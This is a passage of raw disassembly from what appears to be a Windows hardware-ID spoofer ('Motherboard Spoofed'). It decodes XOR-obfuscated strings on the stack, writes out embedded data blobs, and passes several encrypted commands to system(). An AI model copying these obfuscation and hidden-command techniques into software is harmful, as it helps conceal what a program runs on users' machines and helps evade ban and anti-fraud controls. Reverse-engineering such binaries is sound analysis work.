mov dword [rsp + 0x4d8], 0x43b88000
mov dword [rsp + 0x4dc], 0x435c0000
mov byte [rsp + 0xe8], 0x43
mov byte [rsp + 0xe9], 0x61
mov byte [rsp + 0xea], 0x67
mov byte [rsp + 0xeb], WSAGetLastError
mov byte [rsp + 0xec], 0x61
mov byte [rsp + 0xed], 0x63
mov byte [rsp + 0xee], WSACleanup
mov byte [rsp + sendf], 0xe
movzx eax, byte [rsp + 0xe8]
mov r9, r13
movabs r11, 0x2498f90a1ebaec08
mov r10, r11
lea rax, [rsp + 0xe8]
sub r10, rax
mov r12d, reloc.WS2_32.dll_ntohs
nop dword [rax + rax]
lea rdx, [rsp + 0xe8]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r11
shr rax, cl
and al, r12b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0xe8], al
inc r9
cmp r9, 8
jb 0x140041f80
xor r9d, r9d
mov r8b, 1
lea rdx, [rsp + 0x4d8]
lea rcx, [rsp + 0xe8]
call fcn.140006690
cmp byte [0x140d45059], 0
je 0x14004b421
mov byte [rsp + 0x288], 0xc3
mov byte [rsp + 0x289], 0xbb
mov byte [rsp + 0x28a], 0xd3
mov byte [rsp + 0x28b], 0xd0
mov byte [rsp + 0x28c], 0xee
mov byte [rsp + 0x28d], 0xed
mov byte [rsp + 0x28e], 0xe0
mov byte [rsp + 0x28f], 0xea
mov byte [rsp + 0x290], 0xe6
mov byte [rsp + 0x291], 0xe8
mov byte [rsp + 0x292], 0xc3
mov byte [rsp + 0x293], 0xcd
mov byte [rsp + 0x294], 0xe9
mov byte [rsp + 0x295], 0xe5
mov byte [rsp + 0x296], 0xe0
mov byte [rsp + 0x297], 0xf2
mov byte [rsp + 0x298], 0xfd
mov byte [rsp + 0x299], 0xa2
mov byte [rsp + 0x29a], 0xad
mov byte [rsp + 0x29b], 0xcb
mov byte [rsp + 0x29c], 0xc0
mov byte [rsp + 0x29d], 0xfa
mov byte [rsp + 0x29e], 0xfa
mov byte [rsp + 0x29f], 0xf1
mov byte [rsp + 0x2a0], 0xce
mov byte [rsp + 0x2a1], 0xdc
mov byte [rsp + 0x2a2], 0xdc
mov byte [rsp + 0x2a3], 0x9f
mov byte [rsp + 0x2a4], __WSAFDIsSet
mov byte [rsp + 0x2a5], 0xee
mov byte [rsp + 0x2a6], 0xc1
mov byte [rsp + 0x2a7], 0xcb
mov byte [rsp + 0x2a8], 0xd0
mov byte [rsp + 0x2a9], 0xc4
mov byte [rsp + 0x2aa], 0xdd
mov byte [rsp + 0x2ab], 0x89
mov byte [rsp + 0x2ac], 0xc2
mov byte [rsp + 0x2ad], 0xdb
mov byte [rsp + 0x2ae], 0xc1
mov byte [rsp + 0x2af], 0xa5
movzx eax, byte [rsp + 0x288]
mov r9, r13
movabs r11, 0x234dda1aaebc588
mov r10, r11
lea rax, [rsp + 0x288]
sub r10, rax
nop dword [rax]
lea rdx, [rsp + 0x288]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r11
shr rax, cl
and al, r12b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x288], al
inc r9
cmp r9, 0x28
jb 0x140042150
mov r8d, 0x5e670
lea rdx, [0x140c48150]
lea rcx, [rsp + 0x288]
call fcn.14003e7f0
mov byte [rsp + 0x1c0], 0xa3
mov byte [rsp + 0x1c1], 0xd5
mov byte [rsp + 0x1c2], 0xb1
mov byte [rsp + 0x1c3], 0xb9
mov byte [rsp + 0x1c4], 0x87
mov byte [rsp + 0x1c5], 0x8a
mov byte [rsp + 0x1c6], 0x8e
mov byte [rsp + 0x1c7], 0x83
mov byte [rsp + 0x1c8], __WSAFDIsSet
mov byte [rsp + 0x1c9], 0x9a
mov byte [rsp + 0x1ca], 0xb5
mov byte [rsp + 0x1cb], 0xb4
mov byte [rsp + 0x1cc], 0x9a
mov byte [rsp + 0x1cd], 0x9b
mov byte [rsp + 0x1ce], 0x9e
mov byte [rsp + 0x1cf], 0x80
mov byte [rsp + 0x1d0], 0x9d
mov byte [rsp + 0x1d1], 0xcc
mov byte [rsp + 0x1d2], 0xcf
mov byte [rsp + 0x1d3], 0xa2
mov byte [rsp + 0x1d4], 0x9f
mov byte [rsp + 0x1d5], 0x99
mov byte [rsp + 0x1d6], __WSAFDIsSet
mov byte [rsp + 0x1d7], 0x9a
mov byte [rsp + 0x1d8], 0x9f
mov byte [rsp + 0x1d9], 0x9d
mov byte [rsp + 0x1da], 0x8b
mov byte [rsp + 0x1db], 0x81
mov byte [rsp + 0x1dc], 0xc5
mov byte [rsp + 0x1dd], 0xcc
mov byte [rsp + 0x1de], 0xd4
mov byte [rsp + 0x1df], 0x86
mov byte [rsp + 0x1e0], 0x79
mov byte [rsp + 0x1e1], 0x7c
mov byte [rsp + 0x1e2], send
movzx eax, byte [rsp + 0x1c0]
mov r9, r13
movabs r11, 0xa45fc30bbc1adfe0
mov r10, r11
lea rax, [rsp + 0x1c0]
sub r10, rax
nop word [rax + rax]
lea rdx, [rsp + 0x1c0]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r11
shr rax, cl
and al, r12b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x1c0], al
inc r9
cmp r9, 0x23
jb 0x1400422f0
mov r8d, 0x7180
lea rdx, [0x140c40fd0]
lea rcx, [rsp + 0x1c0]
call fcn.14003e7f0
mov byte [rsp + 0x238], 0x23
mov byte [rsp + 0x239], 0x5d
mov byte [rsp + 0x23a], 0x3a
mov byte [rsp + 0x23b], 0x34
mov byte [rsp + 0x23c], 0
mov byte [rsp + 0x23d], recv
mov byte [rsp + 0x23e], 2
mov byte [rsp + 0x23f], 0xa
mov byte [rsp + 0x240], 0x1c
mov byte [rsp + 0x241], shutdown
mov byte [rsp + 0x242], 0x38
mov byte [rsp + 0x243], 0x39
mov byte [rsp + 0x244], 0x1d
mov byte [rsp + 0x245], reloc.WS2_32.dll_select
mov byte [rsp + 0x246], 0x1d
mov byte [rsp + 0x247], 9
mov byte [rsp + 0x248], 0x1d
mov byte [rsp + 0x249], 0x44
mov byte [rsp + 0x24a], 0x44
mov byte [rsp + 0x24b], 0x2f
mov byte [rsp + 0x24c], 0x18
mov byte [rsp + 0x24d], 0x18
mov byte [rsp + 0x24e], 0x1f
mov byte [rsp + 0x24f], reloc.WS2_32.dll_select
mov byte [rsp + 0x250], 0x1e
mov byte [rsp + 0x251], 0x19
mov byte [rsp + 0x252], reloc.WS2_32.dll_recv
mov byte [rsp + 0x253], 8
mov byte [rsp + 0x254], 2
mov byte [rsp + 0x255], 0x47
mov byte [rsp + 0x256], 0x4d
mov byte [rsp + 0x257], 0x52
mov byte [rsp + 0x258], 0xf3
mov byte [rsp + 0x259], 0xfe
mov byte [rsp + 0x25a], 0xf5
mov byte [rsp + 0x25b], 0x83
movzx eax, byte [rsp + 0x238]
mov r9, r13
movabs r11, 0x37c81ee3200d0460
mov r10, r11
lea rax, [rsp + 0x238]
sub r10, rax
nop
lea rdx, [rsp + 0x238]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r11
shr rax, cl
and al, r12b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x238], al
inc r9
cmp r9, 0x24
jb 0x140042490
mov r8d, 0x8788
lea rdx, [0x140c38840]
lea rcx, [rsp + 0x238]
call fcn.14003e7f0
mov byte [rsp + 0x260], 0xb3
mov byte [rsp + 0x261], 0xc4
mov byte [rsp + 0x262], 0xa3
mov byte [rsp + 0x263], 0xad
mov byte [rsp + 0x264], __WSAFDIsSet
mov byte [rsp + 0x265], 0x9f
mov byte [rsp + 0x266], __WSAFDIsSet
mov byte [rsp + 0x267], __WSAFDIsSet
mov byte [rsp + 0x268], 0x82
mov byte [rsp + 0x269], 0x8a
mov byte [rsp + 0x26a], 0xa3
mov byte [rsp + 0x26b], 0xad
mov byte [rsp + 0x26c], 0x87
mov byte [rsp + 0x26d], 0x83
mov byte [rsp + 0x26e], 0x8c
mov byte [rsp + 0x26f], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rsp + 0x270], WSAGetLastError
mov byte [rsp + 0x271], 0x3d
mov byte [rsp + 0x272], 0x3d
mov byte [rsp + 0x273], 0x56
mov byte [rsp + 0x274], 0x7c
mov byte [rsp + 0x275], 0x65
mov byte [rsp + 0x276], 0x67
mov byte [rsp + 0x277], 0x67
mov byte [rsp + 0x278], 0x61
mov byte [rsp + 0x279], 0x60
mov byte [rsp + 0x27a], 0x7c
mov byte [rsp + 0x27b], WSAGetLastError
mov byte [rsp + 0x27c], 0x7b
mov byte [rsp + 0x27d], 0x64
mov byte [rsp + 0x27e], WSAGetLastError
mov byte [rsp + 0x27f], WSACleanup
mov byte [rsp + 0x280], 0x65
mov byte [rsp + 0x281], 0x30
mov byte [rsp + 0x282], 0x7a
mov byte [rsp + 0x283], 0x62
mov byte [rsp + 0x284], 0x7f
mov byte [rsp + 0x285], send
movzx eax, byte [rsp + 0x260]
mov r9, r13
movabs r11, 0xd6d2550da74e9df0
mov r10, r11
lea rax, [rsp + 0x260]
sub r10, rax
nop
lea rdx, [rsp + 0x260]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r11
shr rax, cl
and al, r12b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x260], al
inc r9
cmp r9, 0x26
jb 0x140042640
mov r8d, 0x296b0
lea rdx, [0x140c0f190]
lea rcx, [rsp + 0x260]
call fcn.14003e7f0
cmp byte [0x140d45067], 0
jne 0x1400433f6
mov byte [rsp + 0x210], 0xa3
mov byte [rsp + 0x211], 0xd5
mov byte [rsp + 0x212], 0xb1
mov byte [rsp + 0x213], 0xbb
mov byte [rsp + 0x214], 0x9d
mov byte [rsp + 0x215], 0x81
mov byte [rsp + 0x216], 0x98
mov byte [rsp + 0x217], 0x9f
mov byte [rsp + 0x218], 0xbf
mov byte [rsp + 0x219], 0xba
mov byte [rsp + 0x21a], 0x99
mov byte [rsp + 0x21b], 0x86
mov byte [rsp + 0x21c], 0x80
mov byte [rsp + 0x21d], 0x8d
mov byte [rsp + 0x21e], 0xa7
mov byte [rsp + 0x21f], 0x84
mov byte [rsp + 0x220], 0x9e
mov byte [rsp + 0x221], 0x9e
mov byte [rsp + 0x222], 0x9a
mov byte [rsp + 0x223], 0x9b
mov byte [rsp + 0x224], 0x8c
mov byte [rsp + 0x225], 0xda
mov byte [rsp + 0x226], 0xbf
mov byte [rsp + 0x227], 0xa4
mov byte [rsp + 0x228], 0xb6
mov byte [rsp + 0x229], 0xd9
mov byte [rsp + 0x22a], 0xd6
mov byte [rsp + 0x22b], 0xa4
mov byte [rsp + 0x22c], 0xa6
mov byte [rsp + 0x22d], 0xd8
mov byte [rsp + 0x22e], 0x9b
mov byte [rsp + 0x22f], 0x80
mov byte [rsp + 0x230], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x231], 0x60
mov byte [rsp + 0x232], send
movzx eax, byte [rsp + 0x210]
mov r9, r13
movabs r11, 0xa45fc30bbc1adfe0
mov r10, r11
lea rax, [rsp + 0x210]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x210]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r11
shr rax, cl
and al, r12b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x210], al
inc r9
cmp r9, 0x23
jb 0x1400427f0
lea rcx, [rsp + 0x210]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x330], 3
mov byte [rsp + 0x331], 0x7f
mov byte [rsp + 0x332], reloc.WS2_32.dll_select
mov byte [rsp + 0x333], 0x1c
mov byte [rsp + 0x334], 0x32
mov byte [rsp + 0x335], 0x2a
mov byte [rsp + 0x336], 0x37
mov byte [rsp + 0x337], 0x3c
mov byte [rsp + 0x338], 0x1e
mov byte [rsp + 0x339], 0x18
mov byte [rsp + 0x33a], 0x3b
mov byte [rsp + 0x33b], 0x29
mov byte [rsp + 0x33c], 0x27
mov byte [rsp + 0x33d], 0x23
mov byte [rsp + 0x33e], send
mov byte [rsp + 0x33f], 0x2f
mov byte [rsp + 0x340], 0x3e
mov byte [rsp + 0x341], 0x34
mov byte [rsp + 0x342], 0x39
mov byte [rsp + 0x343], 0x3c
mov byte [rsp + 0x344], 0x23
mov byte [rsp + 0x345], WSACleanup
mov byte [rsp + 0x346], reloc.WS2_32.dll_recv
mov byte [rsp + 0x347], 7
mov byte [rsp + 0x348], reloc.WS2_32.dll_socket
mov byte [rsp + 0x349], 0x7b
mov byte [rsp + 0x34a], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x34b], 0x1a
mov byte [rsp + 0x34c], 7
mov byte [rsp + 0x34d], 0x76
mov byte [rsp + 0x34e], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x34f], 0x2c
mov byte [rsp + 0x350], 1
mov byte [rsp + 0x351], recv
mov byte [rsp + 0x352], 0xa
mov byte [rsp + 0x353], 6
mov byte [rsp + 0x354], send
mov byte [rsp + 0x355], 0x4a
mov byte [rsp + 0x356], 0x40
mov byte [rsp + 0x357], 0x1d
mov byte [rsp + 0x358], 3
mov byte [rsp + 0x359], 5
mov byte [rsp + 0x35a], r12b
mov byte [rsp + 0x35b], 7
mov byte [rsp + 0x35c], 9
mov byte [rsp + 0x35d], 0x43
mov byte [rsp + 0x35e], 0x44
mov byte [rsp + 0x35f], 0x1c
mov byte [rsp + 0x360], send
mov byte [rsp + 0x361], 0x1b
mov byte [rsp + 0x362], 0x1a
mov byte [rsp + 0x363], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x364], 0x1c
mov byte [rsp + 0x365], 0x5a
mov byte [rsp + 0x366], 0x55
mov byte [rsp + 0x367], 0x41
mov byte [rsp + 0x368], 0x1c
mov byte [rsp + 0x369], send
mov byte [rsp + 0x36a], reloc.WS2_32.dll_socket
mov byte [rsp + 0x36b], 0x58
mov byte [rsp + 0x36c], 0x46
mov byte [rsp + 0x36d], 0x48
mov byte [rsp + 0x36e], 0x57
mov byte [rsp + 0x36f], 0x4f
mov byte [rsp + 0x370], 0x80
movzx eax, byte [rsp + 0x330]
mov r9, r13
movabs r11, 0x1fb8312a83a5ac40
mov r10, r11
lea rax, [rsp + 0x330]
sub r10, rax
nop word [rax + rax]
lea rdx, [rsp + 0x330]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r11
shr rax, cl
and al, r12b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x330], al
inc r9
cmp r9, 0x41
jb 0x140042a70
lea rcx, [rsp + 0x330]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x380], 3
mov byte [rsp + 0x381], 0x7f
mov byte [rsp + 0x382], reloc.WS2_32.dll_select
mov byte [rsp + 0x383], 0x1c
mov byte [rsp + 0x384], 0x32
mov byte [rsp + 0x385], 0x2a
mov byte [rsp + 0x386], 0x37
mov byte [rsp + 0x387], 0x3c
mov byte [rsp + 0x388], 0x1e
mov byte [rsp + 0x389], 0x18
mov byte [rsp + 0x38a], 0x3b
mov byte [rsp + 0x38b], 0x29
mov byte [rsp + 0x38c], 0x27
mov byte [rsp + 0x38d], 0x23
mov byte [rsp + 0x38e], send
mov byte [rsp + 0x38f], 0x2f
mov byte [rsp + 0x390], 0x3e
mov byte [rsp + 0x391], 0x34
mov byte [rsp + 0x392], 0x39
mov byte [rsp + 0x393], 0x3c
mov byte [rsp + 0x394], 0x23
mov byte [rsp + 0x395], WSACleanup
mov byte [rsp + 0x396], reloc.WS2_32.dll_recv
mov byte [rsp + 0x397], 7
mov byte [rsp + 0x398], reloc.WS2_32.dll_socket
mov byte [rsp + 0x399], 0x7b
mov byte [rsp + 0x39a], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x39b], 0x1a
mov byte [rsp + 0x39c], 0
mov byte [rsp + 0x39d], 0x76
mov byte [rsp + 0x39e], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x39f], 0x2c
mov byte [rsp + 0x3a0], 1
mov byte [rsp + 0x3a1], recv
mov byte [rsp + 0x3a2], 0xa
mov byte [rsp + 0x3a3], 6
mov byte [rsp + 0x3a4], send
mov byte [rsp + 0x3a5], 0x4a
mov byte [rsp + 0x3a6], 0x40
mov byte [rsp + 0x3a7], 0x1d
mov byte [rsp + 0x3a8], 3
mov byte [rsp + 0x3a9], 5
mov byte [rsp + 0x3aa], r12b
mov byte [rsp + 0x3ab], 7
mov byte [rsp + 0x3ac], 9
mov byte [rsp + 0x3ad], 0x43
mov byte [rsp + 0x3ae], 0x44
mov byte [rsp + 0x3af], 0x1c
mov byte [rsp + 0x3b0], send
mov byte [rsp + 0x3b1], 0x1b
mov byte [rsp + 0x3b2], 0x1a
mov byte [rsp + 0x3b3], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x3b4], 0x1c
mov byte [rsp + 0x3b5], 0x5a
mov byte [rsp + 0x3b6], 0x55
mov byte [rsp + 0x3b7], 0x41
mov byte [rsp + 0x3b8], 0x1c
mov byte [rsp + 0x3b9], send
mov byte [rsp + 0x3ba], reloc.WS2_32.dll_socket
mov byte [rsp + 0x3bb], 0x58
mov byte [rsp + 0x3bc], 0x46
mov byte [rsp + 0x3bd], 0x48
mov byte [rsp + 0x3be], 0x57
mov byte [rsp + 0x3bf], 0x4f
mov byte [rsp + 0x3c0], 0x80
movzx eax, byte [rsp + 0x380]
mov r9, r13
movabs r11, 0x1fb8312a83a5ac40
mov r10, r11
lea rax, [rsp + 0x380]
sub r10, rax
nop word [rax + rax]
lea rdx, [rsp + 0x380]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r11
shr rax, cl
and al, r12b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x380], al
inc r9
cmp r9, 0x41
jb 0x140042cf0
lea rcx, [rsp + 0x380]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x1e8], 0xa3
mov byte [rsp + 0x1e9], 0xd5
mov byte [rsp + 0x1ea], 0xb1
mov byte [rsp + 0x1eb], 0xbb
mov byte [rsp + 0x1ec], 0x9d
mov byte [rsp + 0x1ed], 0x81
mov byte [rsp + 0x1ee], 0x98
mov byte [rsp + 0x1ef], 0x9f
mov byte [rsp + 0x1f0], 0xbf
mov byte [rsp + 0x1f1], 0xba
mov byte [rsp + 0x1f2], 0x99
mov byte [rsp + 0x1f3], 0x86
mov byte [rsp + 0x1f4], 0x80
mov byte [rsp + 0x1f5], 0x8d
mov byte [rsp + 0x1f6], 0xa7
mov byte [rsp + 0x1f7], 0x84
mov byte [rsp + 0x1f8], 0x9e
mov byte [rsp + 0x1f9], 0x9e
mov byte [rsp + 0x1fa], 0x9a
mov byte [rsp + 0x1fb], 0x9b
mov byte [rsp + 0x1fc], 0x8c
mov byte [rsp + 0x1fd], 0xda
mov byte [rsp + 0x1fe], 0xbf
mov byte [rsp + 0x1ff], 0xa4
mov byte [rsp + 0x200], 0xb6
mov byte [rsp + 0x201], 0xd9
mov byte [rsp + 0x202], 0xd6
mov byte [rsp + 0x203], 0xb5
mov byte [rsp + 0x204], 0xa5
mov byte [rsp + 0x205], 0xd8
mov byte [rsp + 0x206], 0xce
mov byte [rsp + 0x207], 0xdb
mov byte [rsp + 0x208], 0x33
mov byte [rsp + 0x209], 0x3d
mov byte [rsp + 0x20a], send
movzx eax, byte [rsp + 0x1e8]
mov r9, r13
movabs r11, 0xa45fc30bbc1adfe0
mov r10, r11
lea rax, [rsp + 0x1e8]
sub r10, rax
nop word [rax + rax]
lea rdx, [rsp + 0x1e8]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r11
shr rax, cl
and al, r12b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x1e8], al
inc r9
cmp r9, 0x23
jb 0x140042e80
lea rcx, [rsp + 0x1e8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x2b0], 0xc3
mov byte [rsp + 0x2b1], 0xb3
mov byte [rsp + 0x2b2], 0xdd
mov byte [rsp + 0x2b3], 0xd4
mov byte [rsp + 0x2b4], 0xfd
mov byte [rsp + 0x2b5], 0xe9
mov byte [rsp + 0x2b6], 0xf3
mov byte [rsp + 0x2b7], 0xfa
mov byte [rsp + 0x2b8], 0xd2
mov byte [rsp + 0x2b9], 0xd6
mov byte [rsp + 0x2ba], 0xf9
mov byte [rsp + 0x2bb], 0xea
mov byte [rsp + 0x2bc], 0xe7
mov byte [rsp + 0x2bd], 0xe1
mov byte [rsp + 0x2be], 0xc4
mov byte [rsp + 0x2bf], 0xe2
mov byte [rsp + 0x2c0], 0xfe
mov byte [rsp + 0x2c1], 0xf8
mov byte [rsp + 0x2c2], 0xf6
mov byte [rsp + 0x2c3], 0xf4
mov byte [rsp + 0x2c4], 0xec
mov byte [rsp + 0x2c5], 0xb2
mov byte [rsp + 0x2c6], 0xd4
mov byte [rsp + 0x2c7], 0xc1
mov byte [rsp + 0x2c8], 0xdb
mov byte [rsp + 0x2c9], 0xb5
mov byte [rsp + 0x2ca], 0xb6
mov byte [rsp + 0x2cb], 0xd9
mov byte [rsp + 0x2cc], 0xc4
mov byte [rsp + 0x2cd], 0xb4
mov byte [rsp + 0x2ce], 0xde
mov byte [rsp + 0x2cf], 0xfa
mov byte [rsp + 0x2d0], 0xc7
mov byte [rsp + 0x2d1], 0xc8
mov byte [rsp + 0x2d2], 0xc3
mov byte [rsp + 0x2d3], 0xd8
mov byte [rsp + 0x2d4], 0xda
mov byte [rsp + 0x2d5], 0xc9
mov byte [rsp + 0x2d6], 0x81
mov byte [rsp + 0x2d7], 0xe1
mov byte [rsp + 0x2d8], 0x9b
mov byte [rsp + 0x2d9], __WSAFDIsSet
mov byte [rsp + 0x2da], 0x99
mov byte [rsp + 0x2db], 0xe6
mov byte [rsp + 0x2dc], 0x84
mov byte [rsp + 0x2dd], 0xf4
mov byte [rsp + 0x2de], 0xfb
mov byte [rsp + 0x2df], 0xec
mov byte [rsp + 0x2e0], __WSAFDIsSet
mov byte [rsp + 0x2e1], 0x87
mov byte [rsp + 0x2e2], 0xdf
mov byte [rsp + 0x2e3], 0xc4
mov byte [rsp + 0x2e4], 0xd2
mov byte [rsp + 0x2e5], 0x9c
mov byte [rsp + 0x2e6], 0x83
mov byte [rsp + 0x2e7], 0x87
mov byte [rsp + 0x2e8], 0x98
mov byte [rsp + 0x2e9], 0x84
mov byte [rsp + 0x2ea], 0xb9
movzx eax, byte [rsp + 0x2b0]
mov r9, r13
movabs r11, 0xc79803c6e79a2380
mov r10, r11
lea rax, [rsp + 0x2b0]
sub r10, rax
nop word [rax + rax]
lea rdx, [rsp + 0x2b0]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r11
shr rax, cl
and al, r12b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x2b0], al
inc r9
cmp r9, 0x3b
jb 0x1400430d0
lea rcx, [rsp + 0x2b0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x2f0], 0x53
mov byte [rsp + 0x2f1], 0x2a
mov byte [rsp + 0x2f2], 0x40
mov byte [rsp + 0x2f3], 0x4b
mov byte [rsp + 0x2f4], 0x67
mov byte [rsp + 0x2f5], WSACleanup
mov byte [rsp + 0x2f6], 0x66
mov byte [rsp + 0x2f7], 0x60
mov byte [rsp + 0x2f8], 0x47
mov byte [rsp + 0x2f9], 0x40
mov byte [rsp + 0x2fa], WSAGetLastError
mov byte [rsp + 0x2fb], 0x7d
mov byte [rsp + 0x2fc], 0x77
mov byte [rsp + 0x2fd], 0x76
mov byte [rsp + 0x2fe], 0x5a
mov byte [rsp + 0x2ff], 0x78
mov byte [rsp + 0x300], 0x4e
mov byte [rsp + 0x301], 0x41
mov byte [rsp + 0x302], 0x4b
mov byte [rsp + 0x303], 0x4b
mov byte [rsp + 0x304], 0x56
mov byte [rsp + 0x305], recv
mov byte [rsp + 0x306], 0x61
mov byte [rsp + 0x307], 0x7b
mov byte [rsp + 0x308], WSAGetLastError
mov byte [rsp + 0x309], 3
mov byte [rsp + 0x30a], 5
mov byte [rsp + 0x30b], WSAGetLastError
mov byte [rsp + 0x30c], WSAGetLastError
mov byte [rsp + 0x30d], 3
mov byte [rsp + 0x30e], 0x60
mov byte [rsp + 0x30f], 0x40
mov byte [rsp + 0x310], 0x57
mov byte [rsp + 0x311], 0x51
mov byte [rsp + 0x312], 0x5e
mov byte [rsp + 0x313], 0x47
mov byte [rsp + 0x314], 0x40
mov byte [rsp + 0x315], 0x50
mov byte [rsp + 0x316], shutdown
mov byte [rsp + 0x317], 0x67
mov byte [rsp + 0x318], 0x5e
mov byte [rsp + 0x319], 0x50
mov byte [rsp + 0x31a], 0x52
mov byte [rsp + 0x31b], 0x52
mov byte [rsp + 0x31c], 0x5b
mov byte [rsp + 0x31d], 0x5f
mov byte [rsp + 0x31e], 0x58
mov byte [rsp + 0x31f], 0x5e
mov byte [rsp + 0x320], 0x39
mov byte [rsp + 0x321], 0x60
mov byte [rsp + 0x322], WSACleanup
mov byte [rsp + 0x323], 0x20
mov byte [rsp + 0x324], 0x31
mov byte [rsp + 0x325], 0x29
mov byte [rsp + 0x326], 0x64
mov byte [rsp + 0x327], WSACleanup
mov byte [rsp + 0x328], 0x75
mov byte [rsp + 0x329], 0x65
mov byte [rsp + 0x32a], 0x7b
mov byte [rsp + 0x32b], 0x4c
movzx eax, byte [rsp + 0x2f0]
mov r9, r13
movabs r11, 0x69e870a34200de10
mov r10, r11
lea rax, [rsp + 0x2f0]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x2f0]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r11
shr rax, cl
and al, r12b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x2f0], al
inc r9
cmp r9, 0x3c
jb 0x140043330
lea rcx, [rsp + 0x2f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [0x140d4505a], 1
mov byte [0x140d45067], 1
jmp 0x140043403
cmp byte [0x140d4505a], 0
je 0x140043674
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rdx, str.___Motherboard_Spoofed
lea rcx, [rsp + 0xdc8]
call fcn.1400071e0
movss xmm1, dword [rax]
mulss xmm1, xmm12
movss xmm0, dword [0x1400a8440]
subss xmm0, xmm1
movss dword [rsp + 0x4e0], xmm0
mov dword [rsp + 0x4e4], 0x41200000
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rsp + 0x1410]
call fcn.14003e2b0
mov rcx, rax
call fcn.1400082d0
mov r12d, eax
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rsp + 0x1400]
call fcn.14003e2b0
mov rcx, rax
call fcn.1400082d0
mov r10d, eax
movups xmm0, xmmword [0x1400a7640]
movups xmmword [rsp + 0xc10], xmm0
movsd xmm0, qword [0x1400a7650]
movsd qword [rsp + 0xc20], xmm0
cmp byte [0x1400a7657], 0
je 0x140043650
cmp dword [0x140d3f110], 2
jl 0x140043612
movdqa xmm5, xmmword [0x1400a66c0]
mov edx, r13d
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xc14]
mov r8d, dword [rsp + 0x70]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
